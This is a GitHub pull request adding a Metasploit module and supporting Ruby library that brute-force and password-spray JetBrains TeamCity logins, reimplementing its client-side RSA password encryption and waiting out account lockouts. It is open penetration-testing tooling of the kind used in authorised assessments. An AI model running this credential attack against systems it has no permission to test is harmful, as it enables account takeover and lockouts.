-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add JetBrains TeamCity HTTP Login Scanner #19601
Open
sjanusz-r7
wants to merge
14
commits into
rapid7:master
Choose a base branch
from
sjanusz-r7:add-teamcity-login-scanner
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
14 commits
Select commit
Hold shift + click to select a range
cba8962
Add JetBrains TeamCity HTTP Login Scanner
sjanusz-r7 9cb05ef
TeamCity: use random padding bytes
sjanusz-r7 7c1692c
TeamCity: Modify authors
sjanusz-r7 ef51254
TeamCity: Add maximum message size for string
sjanusz-r7 84cacb5
TeamCity: Fire and forget logout request
sjanusz-r7 ed1a5d9
TeamCity: use vars_post for login request
sjanusz-r7 c37f4e6
TeamCity: Prevent endless recursion and stack explosions in try_login
sjanusz-r7 386441d
TeamCity: Consolidate HTTP TeamCity into module
sjanusz-r7 a6ee189
TeamCity: Use more exceptions, cache public key
sjanusz-r7 970beb4
TeamCity: Consolidate RSA crypto into login scanner
sjanusz-r7 f82483b
TeamCity: Initial TeamCity Crypto tests
sjanusz-r7 2073121
TeamCity: Raise ArgumentError, refactor Crypto as an included module
sjanusz-r7 520ac7e
TeamCity: Correctly encrypt UTF-8 codepoints
sjanusz-r7 68ec0c8
TeamCity: Lint
sjanusz-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,275 @@ | ||
require 'metasploit/framework/login_scanner/http' | ||
|
||
module Metasploit | ||
module Framework | ||
module LoginScanner | ||
|
||
# This is the LoginScanner class for dealing with JetBrains TeamCity instances. | ||
# It is responsible for taking a single target, and a list of credentials | ||
# and attempting them. It then saves the results. | ||
class Teamcity < HTTP | ||
|
||
module Crypto | ||
# https://github.com/openssl/openssl/blob/a08a145d4a7e663dd1e973f06a56e983a5e916f7/crypto/rsa/rsa_pk1.c#L125 | ||
# https://datatracker.ietf.org/doc/html/rfc3447#section-7.2.1 | ||
def pkcs1pad2(text, n) | ||
raise ArgumentError, "Cannot pad the text: '#{text.inspect}'" unless text.is_a?(String) | ||
raise ArgumentError, "Invalid message length: '#{n.inspect}'" unless n.is_a?(Integer) | ||
|
||
bytes_per_char = two_byte_chars?(text) ? 2 : 1 | ||
if n < ((bytes_per_char * text.length) + 11) | ||
raise ArgumentError, 'Message too long' | ||
end | ||
|
||
ba = Array.new(n, 0) | ||
n -= 1 | ||
ba[n] = text.length | ||
|
||
i = text.length - 1 | ||
|
||
while i >= 0 && n > 0 | ||
char_code = text[i].ord | ||
i -= 1 | ||
|
||
num_bytes = bytes_per_char | ||
|
||
while num_bytes > 0 | ||
next_byte = char_code % 0x100 | ||
char_code >>= 8 | ||
|
||
n -= 1 | ||
ba[n] = next_byte | ||
|
||
num_bytes -= 1 | ||
end | ||
end | ||
n -= 1 | ||
ba[n] = 0 | ||
|
||
while n > 2 | ||
n -= 1 | ||
ba[n] = rand(1..255) # Can't be a null byte. | ||
end | ||
|
||
n -= 1 | ||
ba[n] = 2 | ||
n -= 1 | ||
ba[n] = 0 | ||
|
||
ba.pack("C*").unpack1("H*").to_i(16) | ||
end | ||
|
||
# @param [String] modulus | ||
# @param [String] exponent | ||
# @param [String] text | ||
# @return [String] | ||
def rsa_encrypt(modulus, exponent, text) | ||
n = modulus.to_i(16) | ||
e = exponent.to_i(16) | ||
|
||
padded_as_big_int = pkcs1pad2(text, (n.bit_length + 7) >> 3) | ||
encrypted = padded_as_big_int.to_bn.mod_exp(e, n) | ||
h = encrypted.to_s(16) | ||
|
||
h.length.odd? ? h.prepend('0') : h | ||
end | ||
|
||
def two_byte_chars?(str) | ||
raise ArgumentError, 'Unable to check char size for non-string value' unless str.is_a?(String) | ||
|
||
str.each_codepoint do |codepoint| | ||
return true if codepoint >> 8 > 0 | ||
end | ||
|
||
false | ||
end | ||
|
||
def max_data_size(str) | ||
raise ArgumentError, 'Unable to get maximum data size for non-string value' unless str.is_a?(String) | ||
|
||
# Taken from TeamCity's login page JavaScript sources. | ||
two_byte_chars?(str) ? 58 : 116 | ||
end | ||
|
||
# @param [String] text The text to encrypt. | ||
# @param [String] public_key The hex representation of the public key to use. | ||
# @return [String] A string blob. | ||
def encrypt_data(text, public_key) | ||
raise ArgumentError, "Cannot encrypt the provided data: '#{text.inspect}'" unless text.is_a?(String) | ||
raise ArgumentError, "Cannot encrypt data with the public key: '#{public_key.inspect}'" unless public_key.is_a?(String) | ||
|
||
exponent = '10001' | ||
e = [] | ||
utf_text = text.dup.force_encoding(::Encoding::UTF_8) | ||
g = max_data_size(utf_text) | ||
|
||
c = 0 | ||
while c < utf_text.length | ||
b = [utf_text.length, c + g].min | ||
|
||
a = utf_text[c..b] | ||
|
||
encrypt = rsa_encrypt(public_key, exponent, a) | ||
e.push(encrypt) | ||
c += g | ||
end | ||
|
||
e.join('') | ||
end | ||
end | ||
|
||
include Crypto | ||
|
||
DEFAULT_PORT = 8111 | ||
LIKELY_PORTS = [8111] | ||
LIKELY_SERVICE_NAMES = ['skynetflow'] # Comes from nmap 7.95 on MacOS | ||
PRIVATE_TYPES = [:password] | ||
REALM_KEY = nil | ||
|
||
LOGIN_PAGE = 'login.html' | ||
LOGOUT_PAGE = 'ajax.html?logout=1' | ||
SUBMIT_PAGE = 'loginSubmit.html' | ||
|
||
class TeamCityError < StandardError; end | ||
class StackLevelTooDeepError < TeamCityError; end | ||
class NoPublicKeyError < TeamCityError; end | ||
class PublicKeyExpiredError < TeamCityError; end | ||
class DecryptionException < TeamCityError; end | ||
class ServerNeedsSetupError < TeamCityError; end | ||
|
||
# Extract the server's public key from the server. | ||
# @return [Hash] A hash with a status and an error or the server's public key. | ||
def get_public_key | ||
request_params = { | ||
'method' => 'GET', | ||
'uri' => normalize_uri(@uri.to_s, LOGIN_PAGE) | ||
} | ||
|
||
begin | ||
res = send_request(request_params) | ||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e | ||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e } | ||
end | ||
|
||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the TeamCity service' } if res.nil? | ||
|
||
raise ServerNeedsSetupError, 'The server has not performed the initial setup' if res.code == 503 | ||
|
||
html_doc = res.get_html_document | ||
public_key = html_doc.xpath('//input[@id="publicKey"]/@value').text | ||
raise NoPublicKeyError, 'Could not find the TeamCity public key in the HTML document' if public_key.empty? | ||
|
||
{ status: :success, proof: public_key } | ||
end | ||
|
||
# Create a login request for the provided credentials. | ||
# @param [String] username The username to create the login request for. | ||
# @param [String] password The password to log in with. | ||
# @param [String] public_key The public key to encrypt the password with. | ||
# @return [Hash] The login request parameter hash. | ||
def create_login_request(username, password, public_key) | ||
{ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(@uri.to_s, SUBMIT_PAGE), | ||
'ctype' => 'application/x-www-form-urlencoded', | ||
'vars_post' => { | ||
username: username, | ||
remember: true, | ||
_remember: '', | ||
submitLogin: 'Log in', | ||
publicKey: public_key, | ||
encryptedPassword: encrypt_data(password, public_key) | ||
} | ||
} | ||
end | ||
|
||
# Try logging in with the provided username, password and public key. | ||
# @param [String] username The username to send the login request for. | ||
# @param [String] password The user's password. | ||
# @param [String] public_key The public key used to encrypt the password. | ||
# @return [Hash] A hash with the status and an error or the response. | ||
def try_login(username, password, public_key, retry_counter = 0) | ||
raise StackLevelTooDeepError, 'try_login stack level too deep!' if retry_counter >= 2 | ||
|
||
login_request = create_login_request(username, password, public_key) | ||
|
||
begin | ||
res = send_request(login_request) | ||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e | ||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e } | ||
end | ||
|
||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the TeamCity service' } if res.nil? | ||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 200 | ||
|
||
# Check if the current username is timed out. Sleep if so. | ||
# TODO: This can be improved. The `try_login` method should not block until it can retry credentials. | ||
# This responsibility should fall onto the caller, and the caller should keep track of the tried, locked out and untried sets of credentials, | ||
# and it should be up to the caller and its scheduler algorithm to retry credentials, rather than force this method to block. | ||
# Currently, those building blocks are not available, so this is the approach I have implemented. | ||
timeout = res.body.match(/login only in (?<timeout>\d+)s/)&.named_captures&.dig('timeout')&.to_i | ||
if timeout | ||
framework_module.print_status "User '#{username}' locked out for #{timeout} seconds. Sleeping, and retrying..." | ||
sleep(timeout + 1) # + 1 as TeamCity is off-by-one when reporting the lockout timer. | ||
result = try_login(username, password, public_key, retry_counter + 1) | ||
return result | ||
end | ||
|
||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res } if res.body.match?('Incorrect username or password') | ||
|
||
raise DecryptionException, 'The server failed to decrypt the encrypted password' if res.body.match?('DecryptionFailedException') | ||
raise PublicKeyExpiredError, 'The server public key has expired' if res.body.match?('publicKeyExpired') | ||
|
||
{ status: :success, proof: res } | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is it worth adding some positive assertions here to verify we're logged in, versus defaulting to success? I guess it might be better to have false positives so that users report bugs for us to fix, versus false negatives that cause users to miss valid creds though 🤔 |
||
end | ||
|
||
# Send a logout request for the provided user's headers. | ||
# This header stores the user's cookie. | ||
def logout_with_headers(headers) | ||
logout_params = { | ||
'method' => 'POST', | ||
'uri' => normalize_uri(@uri.to_s, LOGOUT_PAGE), | ||
'headers' => headers | ||
} | ||
|
||
begin | ||
send_request(logout_params) | ||
rescue Rex::ConnectionError => _e | ||
# ignore | ||
end | ||
end | ||
|
||
def attempt_login(credential) | ||
result_options = { | ||
credential: credential, | ||
host: @host, | ||
port: @port, | ||
protocol: 'tcp', | ||
service_name: 'teamcity' | ||
} | ||
|
||
if @public_key.nil? | ||
public_key_result = get_public_key | ||
return Result.new(result_options.merge(public_key_result)) if public_key_result[:status] != :success | ||
|
||
@public_key = public_key_result[:proof] | ||
end | ||
|
||
login_result = try_login(credential.public, credential.private, @public_key) | ||
return Result.new(result_options.merge(login_result)) if login_result[:status] != :success | ||
|
||
# Ensure we log the user out, so that our logged in session does not appear under the user's profile. | ||
logout_with_headers(login_result[:proof].headers) | ||
|
||
result_options[:status] = ::Metasploit::Model::Login::Status::SUCCESSFUL | ||
Result.new(result_options) | ||
end | ||
|
||
private | ||
|
||
attr_accessor :public_key | ||
|
||
end | ||
end | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'metasploit/framework/credential_collection' | ||
require 'metasploit/framework/login_scanner/teamcity' | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Auxiliary::Scanner | ||
include Msf::Auxiliary::AuthBrute | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'JetBrains TeamCity Login Scanner', | ||
'Description' => 'This module performs login attempts against a JetBrains TeamCity webpage to bruteforce possible credentials.', | ||
'Author' => [ 'adfoster-r7', 'sjanusz-r7' ], | ||
'License' => MSF_LICENSE, | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'Reliability' => [], | ||
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
Msf::OptString.new('TARGETURI', [true, 'The base path to the TeamCity application', '/']), | ||
Opt::RPORT(8111), | ||
OptBool.new('PASSWORD_SPRAY', [true, 'Reverse the credential pairing order. For each password, attempt every possible user.', true]), | ||
], self.class | ||
) | ||
|
||
options_to_deregister = ['DOMAIN'] | ||
deregister_options(*options_to_deregister) | ||
end | ||
|
||
def process_credential(credential_data) | ||
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}" | ||
case credential_data[:status] | ||
when Metasploit::Model::Login::Status::SUCCESSFUL | ||
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}" | ||
credential_core = create_credential(credential_data) | ||
credential_data[:core] = credential_core | ||
create_credential_login(credential_data) | ||
return { status: :success, credential: credential_data } | ||
else | ||
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})" | ||
vprint_error error_msg | ||
invalidate_login(credential_data) | ||
return { status: :fail, credential: credential_data } | ||
end | ||
end | ||
|
||
def run_scanner(scanner) | ||
successful_logins = [] | ||
scanner.scan! do |result| | ||
credential_data = result.to_h | ||
credential_data.merge!( | ||
module_fullname: fullname, | ||
workspace_id: myworkspace_id | ||
) | ||
|
||
processed_credential = process_credential(credential_data) | ||
successful_logins << processed_credential[:credential] if processed_credential[:status] == :success | ||
end | ||
{ successful_logins: successful_logins } | ||
end | ||
|
||
def run_host(ip) | ||
cred_collection = build_credential_collection( | ||
username: datastore['USERNAME'], | ||
password: datastore['PASSWORD'] | ||
) | ||
|
||
scanner_opts = configure_http_login_scanner( | ||
host: ip, | ||
uri: target_uri, | ||
port: datastore['RPORT'], | ||
proxies: datastore['Proxies'], | ||
cred_details: cred_collection, | ||
stop_on_success: datastore['STOP_ON_SUCCESS'], | ||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'], | ||
connection_timeout: datastore['HttpClientTimeout'] || 5, | ||
framework: framework, | ||
framework_module: self, | ||
http_success_codes: [200, 302], | ||
method: 'POST', | ||
ssl: datastore['SSL'] | ||
) | ||
|
||
scanner = Metasploit::Framework::LoginScanner::Teamcity.new(scanner_opts) | ||
sjanusz-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
run_scanner(scanner) | ||
end | ||
end |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think this is just a mismatch of scanning port 8111:
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=8111